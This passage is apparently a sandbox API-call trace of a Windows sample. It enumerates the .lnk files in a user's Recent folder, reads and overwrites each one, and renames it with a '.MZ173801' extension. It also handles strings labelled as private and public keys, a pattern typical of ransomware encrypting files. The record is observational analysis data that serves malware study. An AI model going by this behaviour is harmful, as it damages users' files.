hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.123] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x47a [0147.123] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.123] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x47a, lpOverlapped=0x0) returned 1 [0147.124] CloseHandle (hObject=0x280) returned 1 [0147.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AuJwOyKnChH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aujwoyknchh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.126] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x47a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x47a, lpOverlapped=0x0) returned 1 [0147.127] CloseHandle (hObject=0x280) returned 1 [0147.128] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AuJwOyKnChH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aujwoyknchh.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AuJwOyKnChH.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aujwoyknchh.lnk.mz173801")) returned 1 [0147.129] GetCurrentThreadId () returned 0xab4 [0147.129] GetCurrentThreadId () returned 0xab4 [0147.129] GetCurrentThreadId () returned 0xab4 [0147.129] GetCurrentThreadId () returned 0xab4 [0147.129] GetCurrentThreadId () returned 0xab4 [0147.129] GetCurrentThreadId () returned 0xab4 [0147.129] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0147.129] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3589be9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3589be9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3589be9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x54f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="B3BnBu7o8.lnk", cAlternateFileName="B3BNBU~1.LNK")) returned 1 [0147.129] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.129] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3BnBu7o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3bnbu7o8.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3589be9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3589be9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3589be9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x54f)) returned 1 [0147.129] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3BnBu7o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3bnbu7o8.lnk")) returned 0x20 [0147.129] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3BnBu7o8.lnk", dwFileAttributes=0x80) returned 1 [0147.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.133] GetCurrentThreadId () returned 0xab4 [0147.133] GetCurrentThreadId () returned 0xab4 [0147.133] GetCurrentThreadId () returned 0xab4 [0147.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.134] GetCurrentThreadId () returned 0xab4 [0147.134] GetCurrentThreadId () returned 0xab4 [0147.134] GetCurrentThreadId () returned 0xab4 [0147.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3BnBu7o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3bnbu7o8.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.134] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.134] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.135] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x54f [0147.135] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.135] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x54f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x54f, lpOverlapped=0x0) returned 1 [0147.149] CloseHandle (hObject=0x280) returned 1 [0147.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3BnBu7o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3bnbu7o8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.150] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x54f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x54f, lpOverlapped=0x0) returned 1 [0147.151] CloseHandle (hObject=0x280) returned 1 [0147.152] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3BnBu7o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3bnbu7o8.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3BnBu7o8.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3bnbu7o8.lnk.mz173801")) returned 1 [0147.153] GetCurrentThreadId () returned 0xab4 [0147.153] GetCurrentThreadId () returned 0xab4 [0147.153] GetCurrentThreadId () returned 0xab4 [0147.153] GetCurrentThreadId () returned 0xab4 [0147.153] GetCurrentThreadId () returned 0xab4 [0147.153] GetCurrentThreadId () returned 0xab4 [0147.153] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4456a14, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4456a14, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4456a14, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3f9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="B3oPu9_P2sx63bYJ.lnk", cAlternateFileName="B3OPU9~1.LNK")) returned 1 [0147.153] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.153] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.153] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3oPu9_P2sx63bYJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3opu9_p2sx63byj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4456a14, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4456a14, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4456a14, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3f9)) returned 1 [0147.153] GetFileAttributesW 